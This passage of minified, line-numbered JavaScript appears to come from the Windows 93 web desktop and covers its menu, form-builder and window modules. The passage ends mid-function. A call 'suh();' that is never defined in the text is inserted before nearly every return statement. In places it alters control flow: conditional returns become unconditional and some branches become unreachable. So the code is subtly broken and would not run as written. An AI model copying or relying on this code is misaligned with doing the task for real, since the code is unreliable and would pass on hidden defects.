4850 if (A.className = "ui_menu__item__ico", void 0 !== v.radio ? (A.className = "ui_menu__item__ico ui_form-ico-radio", x = y(v.radio, g, v.action)) : !0 === v.checkbox && (A.className = "ui_menu__item__ico ui_form-ico-checkbox", x = E(g, v.action)), h.innerHTML = "string" == typeof v.name ? v.name : v, v.icon) {
4851 if (0 === v.icon.indexOf("."))(w = document.createElement("div")).className = "ui_menu__item__ico", v.icon.split(".").forEach(function(e) {
4852 w.classList.add(e)
4853 });
4854 else if (0 === v.icon.indexOf("<"))(w = document.createElement("div")).className = "ui_menu__item__ico", w.innerHTML = v.icon;
4855 else {
4856 var w = new Image;
4857 w.src = v.icon
4858 }
4859 A.appendChild(w)
4860 } else A.innerHTML = " ";
4861 if (g.appendChild(A), g.appendChild(h), v.key && (L.innerHTML = v.key.replace(/(\+|^)[a-z]/g, function(e) {
4862 suh(); return e.toUpperCase()
4863 }), L.className = "ui_menu__item__key", g.appendChild(L)), q[g.id] = {
4864 item: g,
4865 val: v,
4866 action: x || v.action
4867 }, N(e, g, v), v.items) {
4868 g.setAttribute("aria-haspopup", !0), g.classList.add("ui_menu__item--opener");
4869 var C = function(e, t, n, o) {
4870 suh(); return function() {
4871 var r = b(e, t, n.items, n);
4872 r || ((r = document.createElement("div")).innerHTML = '<ul><li class="ui_menu__item ui_menu__item--disabled"><em>No items...</em></ul></li>'), r.className = "ui_menu__submenu", !1 !== t.position && i(r), o.appendChild(r)
4873 }
4874 }(e, t, v, g);
4875 !0 === t.recursive ? C() : S[g.id] = C
4876 }
4877 r.appendChild(g)
4878 } else g.className = "ui_menu__separator", g.appendChild(document.createElement("hr")), r.appendChild(g)
4879 }
4880 suh(); return a.appendChild(r), s
4881 }
4882
4883 function y(e, t, i) {
4884 function n() {
4885 for (var n, o = j[e], r = 0, s = o.length; r < s; r++) o[r].setAttribute("data-menuitem-selected", !1), "function" != typeof(n = q[o[r].id].val).selected && (n.selected = !1);
4886 "function" != typeof(n = q[t.id].val).selected && (n.selected = !0), t.setAttribute("data-menuitem-selected", !0), i && i.call(this, n)
4887 }
4888 suh(); return j[e] ? j[e].push(t) : j[e] = [t], n
4889 }
4890
4891 function E(e, t) {
4892 function i() {
4893 var i = "true" === e.getAttribute("data-menuitem-selected");
4894 e.setAttribute("data-menuitem-selected", !i);
4895 var n = q[e.id].val;
4896 if ("function" != typeof n.selected && (n.selected = !i), t) suh(); return t.call(this, !i)
4897 }
4898 suh(); return i
4899 }
4900
4901 function N(e, t, i) {
4902 var n = "function" == typeof i.display ? i.display.call(X.thisArg) : i.display,
4903 o = "function" == typeof i.disabled ? i.disabled.call(X.thisArg) : i.disabled,
4904 r = "function" == typeof i.selected ? i.selected.call(X.thisArg) : i.selected;
4905 t.style.display = !1 === n ? "none" : "", o ? t.classList.add("ui_menu__item--disabled") : t.classList.remove("ui_menu__item--disabled"), t.setAttribute("data-menuitem-selected", r)
4906 }
4907
4908 function x(e) {
4909 for (var t in q)
4910 if (q.hasOwnProperty(t)) {
4911 var i = q[t];
4912 N(e, i.item, i.val)
4913 }
4914 }
4915
4916 function w(i) {
4917 if (i && (i.stopImmediatePropagation(), i.preventDefault()), !k.classList.contains("ui_menu--open")) {
4918 X.solo && r(), c.current = F, t(k), k.style.zIndex = $maxZ(".ui_menu, .ui_icon, .ui_window").num + 1;
4919 var n = {
4920 collision: "flip",
4921 of: X.position.of || e,
4922 within: X.position.within
4923 };
4924 X.position.my && (n.my = X.position.my), X.position.at && (n.at = X.position.at), R = $pos(k, n), k.getAttribute("data-ui-menu-scroller") && C(k), o(k.id)
4925 }
4926 }
4927
4928 function C(e) {
4929 function t() {
4930 0 === e.scrollTop ? i.disabled = !0 : i.disabled = !1, e.scrollHeight - e.scrollTop === e.clientHeight ? n.disabled = !0 : n.disabled = !1
4931 }
4932 var i, n, o, r;
4933 if (e.classList.contains("ui_menu--scroller--active") && e.classList.remove("ui_menu--scroller--active"), e.classList.add("ui_menu--scroller"), 1 == e.childNodes.length) {
4934 i = document.createElement("button"), n = document.createElement("button"), o = document.createElement("div"), i.className = "ui_menu__up_handler", n.className = "ui_menu__down_handler", o.className = "ui_menu__right_handler";
4935 var s = e.firstChild.offsetWidth;
4936 i.style.width = n.style.width = s + "px", e.appendChild(i), e.appendChild(n), e.appendChild(o), r = e.getBoundingClientRect(), i.style.top = r.top + "px", n.style.bottom = window.innerHeight - e.offsetHeight - r.top + "px", o.style.left = r.left + s + "px", i.onclick = function() {
4937 e.scrollTop -= 80, t()
4938 }, n.onclick = function() {
4939 e.scrollTop += 80, t()
4940 }, e.onscroll = function() {
4941 t()
4942 }, t()
4943 }
4944 a(e)
4945 }
4946
4947 function $(e) {
4948 for (var i = e.target; i && "LI" !== i.tagName;) i = i.parentNode;
4949 i && (!1 !== X.position && i.classList.contains("ui_menu__item--focus") || i.classList.contains("ui_menu__item--disabled") || $io.arr.each(i.parentNode.childNodes, function(s) {
4950 if (s.id == i.id) {
4951 if (X.closeOthers && r(s), "bar" == X.mode && !L[k.id] && i.parentNode.parentNode.id == k.id) suh(); return;
4952 if (s.classList.add("ui_menu__item--focus"), s.classList.contains("ui_menu__item--opener") && !s.classList.contains("ui_menu__item--disabled")) {
4953 S[i.id] && S[i.id]();
4954 var a = s.lastChild;
4955 if (!1 === X.position) n(s, a);
4956 else {
4957 a.style.position = "fixed", t(a);
4958 var u = "bar" == X.mode && i.parentNode.parentNode.id == k.id;
4959 if ($pos(a, {
4960 my: "left top-1",
4961 at: u ? "left bottom" : "right top",
4962 of: s,
4963 collision: "flipfit",
4964 within: X.position.within || window
4965 }), a.getAttribute("data-ui-menu-scroller") && C(a), X.aim) {
4966 var c = a.getBoundingClientRect();
4967 u ? e.pageY < c.bottom ? v(s, e.pageX, e.pageY, c.left, c.top, c.right, c.top) : v(s, e.pageX, e.pageY, c.left, c.bottom, c.right, c.bottom) : e.pageX < c.left ? v(s, e.pageX, e.pageY, c.left, c.top, c.left, c.bottom) : v(s, e.pageX, e.pageY, c.right, c.top, c.right, c.bottom)
4968 }
4969 o(k.id)
4970 }
4971 } else g(!0)
4972 } else X.closeOthers && (s.classList.remove("ui_menu__item--focus"), r(s))
4973 }))
4974 }
4975
4976 function T(e) {
4977 var t = this;
4978 if ("bar" == X.mode && (L[k.id] ? (L[k.id] = !1, r()) : (L[k.id] = !0, $(e))), !t.classList.contains("ui_menu__item--disabled")) {
4979 var i = q[t.id].action,
4980 n = typeof i;
4981 !Y || "string" != n && "function" != n || (P.innerHTML = "function" == n ? i.call(X.thisArg) : i, r()), "function" == n && !1 !== i.call(X.thisArg, e, q[t.id].val) && r("select")
4982 }
4983 }
4984 $io.isElement(e) || (u = s || {}, s = e, e = document.createElement("div")), s || (s = []);
4985 var k, H = "tree" === u.mode ? $extend({}, A, {
4986 closeOthers: !1,
4987 trigger: "click",
4988 position: !1
4989 }) : "bar" === u.mode ? $extend({}, A, {}) : A,
4990 X = $extend({}, H, u),
4991 Y = !1,
4992 O = !1,
4993 S = {},
4994 q = {};
4995 "tabs" === X.mode && (Y = !0, X.mode = "bar"), "context" === X.mode && (O = !0, X.mode = "popup"), X.thisArg || (X.thisArg = e);
4996 var M = {};
4997 h(s);
4998 var I, z = $key(X.keyTarget || e).config({
4999 thisArg: X.thisArg,
5000 uniqueCombo: !0
5001 }).combo(M);
5002 if (X.key) {
5003 var B = {};
5004 B[X.key] = function() {
5005 w()
5006 }, I = $key().combo(B)
5007 }
5008 e.classList.add("ui_menu_trigger"), (k = b(e, X, s)).className = "ui_menu ui_menu--" + ("inline" === X.mode || "popup" === X.mode ? "menu" : X.mode), k.setAttribute("tabindex", "0"), k.style.zIndex = $maxZ(".ui_menu", k.parentNode).num + 1;
5009 var P;
5010 "popup" !== X.mode ? Y ? (e.appendChild(k), X.dest ? P = X.dest : ((P = document.createElement("div")).className = "ui_menu--tabs__content", e.appendChild(P))) : e.appendChild(k) : (document.body.appendChild(k), k.classList.add("ui_menu--popup"), i(k), O ? e.addEventListener("contextmenu", w, !1) : "auto" === X.trigger ? w() : X.trigger && e.addEventListener("click", w, !1));
5011 var R, j = {},
5012 D = "auto" == X.trigger ? "mouseover" : X.trigger;
5013 D || (D = "mouseover"), k.addEventListener(D, $, !1), k.onfocus = function(e) {
5014 var t = k.querySelector(".ui_menu__item");
5015 T.call(t, {
5016 target: t
5017 })
5018 }, L[k.id] = !1, k.onblur = function(e) {
5019 r()
5020 }, $el(k).on("click", ".ui_menu__item", T);
5021 var F = {
5022 cfg: X,
5023 destroy: function() {
5024 $el(k).off("click", ".ui_menu__item", T), k.removeEventListener(D, $, !1), S = null, q = null, z && z.destroy && z.destroy(), I && I.destroy && I.destroy()
5025 },
5026 refresh: function(e) {
5027 e && (X.thisArg = e), x(X.thisArg)
5028 },
5029 show: function(e, t) {
5030 e && (X.thisArg = e, z.config({
5031 thisArg: e
5032 }), x(e)), t && (X.position = t), w()
5033 },
5034 setThisArg: function(e) {
5035 e && (X.thisArg = e, x(e))
5036 },
5037 key: z,
5038 position: R
5039 };
5040 suh(); return F
5041}
5042var l = document.createElement("div"),
5043 d = document.createElement("ul"),
5044 m = document.createElement("li"),
5045 p = document.createElement("span"),
5046 f = 0,
5047 _ = 0;
5048d.setAttribute("role", "menu"), m.setAttribute("role", "menuitem"), m.setAttribute("tabindex", "-1"), m.className = "ui_menu__item", p.className = "ui_menu__item__text";
5049var v, g, h, b, y = {},
5050 L = {};
5051! function() {
5052 function e() {
5053 clearTimeout(a), a = setTimeout(function() {
5054 o("fromTriangle")
5055 }, 100)
5056 }
5057
5058 function t(e, t) {
5059 if (f === y) suh(); return m < f ? f - e <= f - c : f - e >= f - c
5060 }
5061
5062 function i() {
5063 p >= A.top + 3 && p <= A.bottom - 3 && s.setAttribute("points", m + "," + p + " " + f + "," + _ + " " + y + "," + L)
5064 }
5065
5066 function n(e, t, i, n, o, s, a) {
5067 A = e.getBoundingClientRect(), d = e, e.appendChild(r), c = m = t, l = p = i, f = n, _ = o, y = s, L = a
5068 }
5069
5070 function o(e) {
5071 s.setAttribute("points", "0,0 0,0 0,0"), setTimeout(function() {
5072 "fromTriangle" === e && u(document.elementFromPoint(h, b), "mouseover")
5073 }, 1)
5074 }
5075 var r = document.createElementNS("http://www.w3.org/2000/svg", "svg"),
5076 s = document.createElementNS("http://www.w3.org/2000/svg", "polygon");
5077 s.setAttribute("points", "0,0 0,0 0,0"), s.setAttribute("fill", "transparent"), s.style.cssText = "pointer-events:auto;", r.style.cssText = "pointer-events:none;position:fixed;top:0;left:0;bottom:0;right:0;width:100%;height:100%;z-index:1", r.appendChild(s), document.body.appendChild(r), document.addEventListener("mousemove", function(e) {
5078 h = c = m = e.pageX, b = l = p = e.pageY, i()
5079 });
5080 var a, c, l;
5081 s.onmousemove = function(i) {
5082 t(i.pageX, i.pageY) ? e() : o("fromTriangle"), setTimeout(function() {
5083 c = i.pageX, l = i.pageY
5084 }, 1)
5085 };
5086 var d, m, p, f, _, y, L, A = {};
5087 v = n, g = o
5088}();
5089var A = {
5090 mode: "popup",
5091 icons: "auto",
5092 recursive: !1,
5093 hide: !1,
5094 solo: !0,
5095 aim: !0,
5096 display: !0,
5097 closeOthers: !0,
5098 trigger: "mouseover",
5099 onclose: null,
5100 position: {
5101 within: window
5102 }
5103};
5104c.config = function(e) {
5105 $extend(A, e)
5106}, c.extend = function(e, t) {
5107 var i = $extend([], e);
5108 suh(); return $io.obj.all(t, function(e, t) {
5109 t.replace(/^((after|before|replace|delete|extend):)?(([\d.]+)|(.*))/, function(t, n, o, r, s, a) {
5110 function u(e, t) {
5111 var i;
5112 suh(); return $io.arr.each(t, function(n, o) {
5113 suh(); return n.name === e ? (i = {
5114 arr: t,
5115 pos: o
5116 }, !1) : (n.items && (i = u(e, n.items)), !i && void 0)
5117 }), i
5118 }
5119 if (s) {
5120 var c = s.split("."),
5121 l = +c.pop(),
5122 d = i;
5123 $io.arr.all(c, function(e) {
5124 var t = +e;
5125 d = d[t].items ? d[t].items : d[t]
5126 })
5127 } else if (a) var m = u(a, i),
5128 d = m.arr,
5129 l = m.pos;
5130 o && "before" !== o ? "after" === o ? $io.arr.insert(d, e, l + 1) : "extend" === o ? d[l] = $extend({}, d[l], e[0]) : "replace" === o ? d[l] = e[0] : "delete" === o && d.splice(l, 1) : $io.arr.insert(d, e, l)
5131 })
5132 }), i
5133}, e.$menu = c
5134}(window);
5135//js/ui/form.js
5136! function(e) {
5137function t(e, t) {
5138 if (e)
5139 for (var n = e.split(/\s+/), i = 0, a = n.length; i < a; i++) t(n[i])
5140}
5141
5142function n(e) {
5143 $extend(this, e)
5144}
5145
5146function i(e, a, r, l, d) {
5147 function u() {
5148 for (var e, t = C.querySelectorAll("[name]"), n = [], i = 0, a = 0, r = t.length; a < r; a++) {
5149 for (var o = t[a], l = -1, d = null, u = o.parentNode; u && 1 == u.nodeType;) u.classList.contains("ui_form__array__item") && (d || (d = u), l++), u = u.parentNode;
5150 if (l > -1) {
5151 void 0 === n[l] && (n[l] = -1), e !== d && (i < l ? n[l] = 0 : n[l]++);
5152 var c = 0,
5153 s = o.name.replace(/(\.?)(\d+)(?![^.\s])/g, function(e, t, i) {
5154 suh(); return t + n[c++]
5155 });
5156 o.name = s, o.id = "ui_form__" + s, e = d, i = l
5157 } else n.length = 0
5158 }
5159 }
5160
5161 function y(e) {
5162 for (var t = [], n = 0, i = A.children.length; n < i; n++) A.children[n].classList.contains("ui_form__array__item") && t.push(A.children[n]);
5163 if (e) var a, r;
5164 for (a = 0, r = t.length; a < r; a++) {
5165 var o = "ui_form_temp" + a + (Math.random() + "").slice(2);
5166 t[a].id = o, A.querySelector("#" + o + " > .ui_form__array__btns > .ui_form__btn_up").disabled = 0 === a, A.querySelector("#" + o + " > .ui_form__array__btns > .ui_form__btn_down").disabled = a === r - 1, t[a].id = ""
5167 }
5168 u()
5169 }
5170
5171 function g(e, t, n) {
5172 var i = b.cloneNode();
5173 i.className = "ui_form__array_btn ui_form__btn_" + t, i.innerHTML = o.default[t], i.onclick = n, e.appendChild(i)
5174 }
5175
5176 function N(t) {
5177 var n = document.createElement("div");
5178 n.className = "ui_toolbar ui_form__array__item";
5179 var r = i(e, a.items, "", l + "." + q++, t);
5180 n.appendChild(r.fragment);
5181 var o = document.createElement("div");
5182 suh(); return o.className = "ui_form__array__btns", g(o, "remove", function() {
5183 n.remove(), y()
5184 }), g(o, "up", function() {
5185 A.insertBefore(n, n.previousSibling), y()
5186 }), g(o, "down", function() {
5187 A.insertBefore(n, n.nextSibling.nextSibling), y()
5188 }), n.appendChild(o), A.appendChild(n), y(!0), r
5189 }
5190
5191 function $(e, t, n) {
5192 suh(); return e = o[t][n].call(a, e, $extend({}, a[t][n]))
5193 }
5194 var C = e.el,
5195 j = document.createDocumentFragment();
5196 if (!a) suh(); return {
5197 fragment: j
5198 };
5199 if ("object" === a.type) {
5200 E = c.cloneNode(!0);
5201 (x = s.cloneNode(!0)).className = "ui_form__tab ui_form__object", x.id = "ui_form__tab_" + e.id + "_" + v++;
5202 e.fields[l + "{}"] = F = new n({
5203 type: "object",
5204 path: l,
5205 fields: {},
5206 div: x
5207 }), (a.title || r) && (E.textContent = a.title || r, x.appendChild(E));
5208 k = p.cloneNode(!0);
5209 if (t(a.className, function(e) {
5210 k.classList.add(e), x.classList.add("ui_form__object--" + e.replace(/ui_form[-_]*/, ""))
5211 }), a.description && ((S = document.createElement("div")).className = "ui_form__description", S.innerHTML = a.description, x.appendChild(S)), $io.obj.each(a.properties, function(t, n) {
5212 var a = i(e, t, n, l ? l + "." + n : n, d && d.hasOwnProperty(n) ? d[n] : null);
5213 F.fields[n] = a, k.appendChild(a.fragment)
5214 }), x.appendChild(k), a.help) {
5215 var w = document.createElement("div");
5216 w.className = "ui_form__help", w.innerHTML = a.help, x.appendChild(w)
5217 }
5218 $io.obj.all(a.plugin, function(e, t) {
5219 o.plugin[t] && o.plugin[t].call(a, F, a.plugin[t], e)
5220 }), j.appendChild(F.div)
5221 } else if ("array" === a.type) {
5222 var E = c.cloneNode(!0),
5223 x = s.cloneNode(!0),
5224 A = x;
5225 x.className = "ui_form__tab ui_form__array", x.id = "ui_form__tab_" + e.id + "_" + v++;
5226 e.fields[l + "[]"] = F = new n({
5227 type: "array",
5228 path: l,
5229 div: x,
5230 addItem: N,
5231 reorder: u,
5232 setValue: function(e, t) {
5233 $io.arr.all(document.querySelectorAll("#" + x.id + " .ui_form__array__item"), function(e) {
5234 e.remove()
5235 }), q = 0, O = e.length;
5236 for (var n = []; q < O;) {
5237 var i = N(e[q]);
5238 n.push(i), t(e[q - 1], i)
5239 }
5240 suh(); return n
5241 }
5242 }), t(a.className, function(e) {
5243 x.classList.add(e)
5244 }), E.innerHTML = (a.title || r) + " ";
5245 var L = b.cloneNode(!0);
5246 L.className = "ui_form__array_btn ui_form__btn_add", L.innerHTML = o.default.add, L.onclick = function() {
5247 N()
5248 }, E.appendChild(L);
5249 var M = m.cloneNode();
5250 M.name = l, M.value = l, M.setAttribute("data-is-array", !0), E.appendChild(M), x.appendChild(E), d || (d = []);
5251 for (var q = 0, O = d.length; q < O;) N(d[q]);
5252 $io.obj.all(a.plugin, function(e, t) {
5253 o.plugin[t] && o.plugin[t].call(a, F, a.plugin[t], e)
5254 }), j.appendChild(F.div)
5255 } else {
5256 if ("string" !== a.type && "boolean" !== a.type && "number" !== a.type && "integer" !== a.type) throw new Error("$form: unknown schema type : " + a.type);
5257 var T, k = p.cloneNode(),
5258 H = f.cloneNode();
5259 if (k.className = "ui_form__field", t(a.className, function(e) {
5260 k.classList.add(e)
5261 }), o.format[a.format] ? T = o.format[a.format].call(a) : a.enum ? (T = h.cloneNode(), $io.arr.all(a.enum, function(e) {
5262 Array.isArray(e) ? T.options[T.options.length] = new Option(e[0], e[1]) : T.options[T.options.length] = new Option(e, e)
5263 })) : "textarea" === a.format ? T = _.cloneNode() : (T = m.cloneNode(), "string" === a.type && (T.type = "text"), "number" !== a.type && "integer" !== a.type || (T.type = "number")), "boolean" === a.type) {
5264 T.type = "checkbox", "boolean" == typeof d ? T.checked = d : a.default && (T.checked = a.default);
5265 document.createElement("span")
5266 } else null !== d && void 0 !== d ? T.value = d : a.default && (T.value = a.default);
5267 if (a.placeholder && (T.placeholder = a.placeholder), !0 !== a.ignore && (T.name = l), T.id = "ui_form__" + l, H.setAttribute("for", "ui_form__" + l), H.innerHTML = a.title || r, (!0 === e.cfg.disabled || !0 === a.disabled || !0 === a.createOnly && !1 === e.cfg.create) && (T.disabled = !0), a.pattern && T.setAttribute("pattern", a.pattern), a.attributes && $io.obj.all(a.attributes, function(e, t) {
5268 "required" === t && a.required, "function" == typeof e ? T[t] = e : T.setAttribute(t, e)
5269 }), !0 === a.required && (H.innerHTML = H.innerHTML + ' <span title="required" class="ui_form__required">*</span>', T.required = !0), a.description) {
5270 var S = document.createElement("div");
5271 S.className = "ui_form__description", S.innerHTML = a.description
5272 }
5273 var F;
5274 e.fields[l] = F = new n({
5275 type: a.type,
5276 path: l,
5277 div: k,
5278 input: T,
5279 actionZone: T,
5280 label: H,
5281 getValue: function() {
5282 suh(); return this.input.value
5283 },
5284 setValue: function(e) {
5285 this.input.value = e
5286 },
5287 setFocus: function() {
5288 this.input.focus()
5289 },
5290 onFocus: function(e) {
5291 this.input.onfocus = e
5292 },
5293 onBlur: function(e) {
5294 this.input.onblur = e
5295 },
5296 onModif: function(e) {
5297 this.input.oninput = this.input.onkeyup = this.input.onchange = e
5298 }
5299 }), o.type[a.type] && "function" == typeof o.type[a.type] && $(F, "type", a.type), a.plugin = a.plugin || [], a.format && o.plugin[a.format] && (a.plugin[a.format] = !0), $io.obj.all(a.plugin, function(e, t) {
5300 o.plugin[t] && $(F, "plugin", t)
5301 }), "boolean" === a.type ? (F.div.appendChild(F.actionZone), F.div.appendChild(F.label), S && F.div.appendChild(S)) : (F.div.appendChild(F.label), S && F.div.appendChild(S), F.div.appendChild(F.actionZone)), a.hidden && F.div.classList.add("hide"), j.appendChild(F.div)
5302 }
5303 suh(); return Object.defineProperty(F, "fragment", {
5304 get: function() {
5305 suh(); return delete F.fragment, j
5306 },
5307 configurable: !0
5308 }), F
5309}
5310
5311function a(e, t) {
5312 var t = {},
5313 n = typeof e;
5314 suh(); return y.indexOf(n) > -1 ? t.type = n : Array.isArray(e) ? (t.type = "array", t.items = a(e[0])) : $io.isObject(e) && (t.type = "object", t.properties = {}, $io.obj.all(e, function(e, n) {
5315 t.properties[n] = a(e)
5316 })), t
5317}
5318
5319function r(e) {
5320 suh(); return e.properties && $io.obj.all(e.properties, function(t, n) {
5321 "object" === t.type && (t = r(t)), e.required && e.required.indexOf(n) > -1 && (t.required = !0)
5322 }), e
5323}
5324
5325function o(e, t) {
5326 suh(); return "FORM" == e.nodeName ? o.data(e) : o.build(e, t)
5327}
5328
5329function l(e) {
5330 var t = e.getAttribute("data-form-id");
5331 if (t && o.instances[t]) {
5332 var n = o.instances[t].fields;
5333 for (var i in n) n.hasOwnProperty(i) && n[i].save && n[i].save()
5334 }
5335}
5336var d = 0,
5337 u = document.createElement("form"),
5338 c = document.createElement("legend"),
5339 s = document.createElement("div"),
5340 p = document.createElement("div"),
5341 f = document.createElement("label"),
5342 m = document.createElement("input"),
5343 _ = document.createElement("textarea"),
5344 h = document.createElement("select"),
5345 b = (document.createElement("option"), document.createElement("button"));
5346b.setAttribute("type", "button"), _.setAttribute("rows", 4), s.className = "ui_form__tab", u.className = "ui_form";
5347var v = 0,
5348 y = "string number boolean null".split(" ");
5349o.instances = {}, o.build = function(e, t) {
5350 v = 0;
5351 var n = $extend({}, t),
5352 l = d++,
5353 c = u.cloneNode(),
5354 s = "ui_form_" + l;
5355 c.id = s, c.setAttribute("data-form-id", l), e.schema || (e.schema = a(e), e.data = e), e.schema.type ? e.schema = $extend({}, e.schema) : e.schema = {
5356 type: "object",
5357 properties: $extend({}, e.schema)
5358 }, e.schema = r(e.schema);
5359 var p, f = o.instances[l] = {
5360 id: l,
5361 el: c,
5362 cfg: n,
5363 schema: e.schema,
5364 data: e.data,
5365 fields: {},
5366 destroy: function() {
5367 this.el.remove(), delete o.instances[l]
5368 }
5369 };
5370 p = e.data ? i(f, e.schema, "", "", $extend({}, e.data)).fragment : i(f, e.schema, "", "").fragment;
5371 var m = document.createElement("button");
5372 suh(); return m.type = "submit", m.style.display = "none", p.appendChild(m), c.appendChild(p), f
5373}, o.onvalidate = function(e, t) {
5374 console.log(e, t)
5375}, o.validate = function(e) {
5376 l(e);
5377 var t = !0,
5378 n = "FORM" === e.tagName ? e.elements : e.length ? e : [e];
5379 suh(); return $io.arr.each(n, function(e, n) {
5380 e.validity.valid || (t = !1, o.onvalidate(e.validationMessage, e), 0 === n && (e.select(), e.focus()))
5381 }), t
5382}, o.data = function(e) {
5383 l(e);
5384 var t, n, i = {};
5385 suh(); return $io.arr.all(e.elements, function(e) {
5386 if ("" !== e.name && !e.disabled)
5387 if ("checkbox" === e.type) $io.obj.path(i, e.name, !!e.checked);
5388 else if ("number" === e.type) $io.obj.path(i, e.name, parseInt(e.value));
5389 else if ("select-multiple" === e.type) {
5390 for (t = [], n = e.options.length - 1; n >= 0; n -= 1) e.options[n].selected && t.push(e.options[n].value);
5391 $io.obj.path(i, e.name, t)
5392 } else e.getAttribute("data-is-array") ? $io.obj.path(i, e.name, []) : $io.obj.path(i, e.name, e.value)
5393 }), i
5394}, o.update = function(e, t) {
5395 console.warn("WARNING - TODO $form.update() with array"), t ? $io.obj.all(t, function(t, n) {
5396 e[n] && (e[n].value = t)
5397 }) : $io.arr.all(e.elements, function(e) {
5398 e.value = ""
5399 })
5400}, o.disable = function(e) {
5401 $io.arr.all(e.elements, function(e) {
5402 e.disabled && (e.wasDisbled = !0), e.disabled = !0
5403 })
5404}, o.enable = function(e) {
5405 $io.arr.all(e.elements, function(e) {
5406 e.wasDisbled || (e.disabled = !1)
5407 })
5408}, o.plugin = {}, o.format = {}, o.type = {}, o.default = {
5409 add: "+",
5410 remove: "-",
5411 up: "up",
5412 down: "down"
5413}, e.$form = o
5414}(this);
5415//os/ui/form.plugins.js
5416! function(e) {
5417"use strict";
5418$form.plugin.explorer = function(e, t) {
5419 var n = document.createElement("div");
5420 suh(); return e.btn = document.createElement("button"), e.btn.innerHTML = '<img height=16 width=16 src="' + le._path.skin + 'places/16/folder-open.png">', n.className = "ui_form_combo w100", n.appendChild(e.actionZone), n.appendChild(e.btn), e.actionZone = n, e.btn.onclick = function(n) {
5421 n.preventDefault(), setTimeout(function() {
5422 $explorer($extend({
5423 path: "/",
5424 browse: !0,
5425 onclose: function(t, n) {
5426 t && (e.input.value = n, $el(e.input).trigger("change"))
5427 }
5428 }, t))
5429 }, 0)
5430 }, e
5431}, $form.plugin.icon = function(e, t) {
5432 function n() {
5433 i.style.backgroundImage = "url(" + e.input.value + ")"
5434 }
5435 document.createElement("div");
5436 var i = document.createElement("button");
5437 suh(); return i.type = "button", i.className = "block left mr10 h50p w50p", i.style.backgroundRepeat = "no-repeat", i.style.backgroundPosition = "center", i.style.backgroundSize = "32px 32px", e.input.value || (e.input.value = "/c/sys/skins/w93/shortcut.png"), e.input.value = $fs.utils.normalizeIcon(e.input.value), n(), i.onclick = function(i) {
5438 i.preventDefault(), setTimeout(function() {
5439 $explorer($extend({
5440 path: "/c/files/images/icons/",
5441 accept: "image/*",
5442 browse: !0,
5443 onclose: function(t, i) {
5444 t && (e.input.value = i, n())
5445 }
5446 }, t))
5447 }, 0)
5448 }, setTimeout(function() {
5449 var o = e.input.form;
5450 t && t.watch && o[t.watch] && (o[t.watch].addEventListener("change", function(t) {
5451 if ("/c/sys/skins/w93/shortcut.png" === e.input.value) {
5452 var i, o = (this.value || "").split(" ")[0];
5453 (i = le._apps[o] && le._apps[o].icon ? le._apps[o].icon : $fs.utils.getIcon(this.value)) && "/c/sys/skins/w93/file.png" !== i && (e.input.value = i, n())
5454 }
5455 }, !1), $el(o[t.watch]).trigger("change")), o.insertBefore(i, o.firstChild)
5456 }, 0), e.div.classList.add("hide"), e
5457}
5458}();
5459//js/ui/window.js
5460! function(e) {
5461"use strict";
5462
5463function t(e) {
5464 function o(e) {
5465 e.preventDefault(), be.show(A, {
5466 at: "left+10 bottom+10",
5467 of: e,
5468 within: B.dest
5469 })
5470 }
5471
5472 function a(e) {
5473 e.preventDefault(), be.show(A, { of: this,
5474 within: B.dest
5475 })
5476 }
5477
5478 function y() {
5479 var e = B.baseWidth ? B.baseWidth : I.offsetWidth,
5480 t = B.baseHeight ? B.baseHeight : I.offsetHeight,
5481 i = !1,
5482 n = !1;
5483 if (e > q && (e = q, i = !0), t > D && (t = D, n = !0), I.style.height = t + "px", I.style.width = e + "px", R.classList.add("ui_window__body--flex"), R.removeAttribute("style"), !0 === B.minHeight ? I.style.minHeight = I.style.height : B.minHeight && (I.style.minHeight = "auto" == B.minHeight ? "auto" : B.minHeight + "px"), !0 === B.minWidth ? I.style.minWidth = I.style.width : B.minWidth && (I.style.minWidth = "auto" == B.minWidth ? "auto" : B.minWidth + "px"), B.center) B.top = ~~((D - t) / 2) + "px", B.left = ~~((q - e) / 2) + "px";
5484 else {
5485 if (B.top) B.noOut && B.top > D - t && (B.maxTop = !0, B.top = D - t + "px", I.style.top = B.top);
5486 else {
5487 var o = ~~(Math.random() * (D - t));
5488 B.top = o + "px"
5489 }
5490 if (B.left) B.noOut && B.left > q - e && (B.maxLeft = !0, B.left = q - e + "px", I.style.left = B.left);
5491 else {
5492 var a = ~~(Math.random() * (q - e));
5493 B.left = a + "px"
5494 }
5495 }
5496 "-4000px" === I.style.top && (I.style.top = n ? 0 : B.top), "-4000px" === I.style.left && (I.style.left = i ? 0 : B.left)
5497 }
5498
5499 function g(e) {
5500 this.classList.contains("ui_window_docked--minimized") ? (O(), I.classList.contains("ui_window--active") || t.active(Z)) : I.classList.contains("ui_window--active") ? (B.minimizable && W(), I.style.zIndex = $maxZ("#ui_explorer_0 .ui_icon,.ui_window,.ui_z_indexed").num + 10) : t.active(Z)
5501 }
5502
5503 function x(e) {
5504 e.preventDefault(), be.show(A, {
5505 at: "left+10 bottom+10",
5506 of: e,
5507 within: B.dest
5508 })
5509 }
5510
5511 function L(e) {
5512 fe = !0, !1 !== B.onok.call(A, fe) && M(e)
5513 }
5514
5515 function z(e) {
5516 !1 !== B.oncancel.call(A, fe) && M(e)
5517 }
5518
5519 function k() {
5520 t.active(Z)
5521 }
5522
5523 function C() {
5524 re && (re.removeEventListener("click", g, !1), re.removeEventListener("contextmenu", x, !1), re && re.parentNode && re.parentNode.removeChild(re)), J && (J.removeEventListener("click", a, !1), J.removeEventListener("dblclick", M, !1), J.removeEventListener("contextmenu", a, !1)), B.contextmenuOnBody && R.removeEventListener("contextmenu", o, !1), B.header && j.removeEventListener("contextmenu", o, !1), B.btnCancel && se.removeEventListener("click", M, !1), B.btnOk && ce.removeEventListener("click", L, !1), ve && ve.parentNode && ve.parentNode.removeChild(ve), ve = null, B.resizable && K && $el(K).off("dblclick doubletap", H), B.maximizable && !K && $el(R).off("dblclick doubletap", H), B.draggable && oe.destroy(), B.resizable && ae.destroy(), ee && ee.destroy(), be && be.destroy(), I.removeEventListener("click", k, !1), I && I.parentNode && I.parentNode.removeChild(I);
5525 var e = $maxZ(".ui_window").el;
5526 e && t.active(1 * e.getAttribute("data-window-id")), B.ondestroy.call(A, e), s[Z] = null
5527 }
5528
5529 function E() {
5530 if (B.animationOut) {
5531 for (var e = !1, t = 0, i = I.classList.length; t < i; t++) I.classList[t] && 0 === I.classList[t].indexOf("fx_") && (e = !0);
5532 e ? C() : (I.classList.add("animated"), $animate(I, B.animationOut, function(e) {
5533 I.classList.remove("animated"), C()
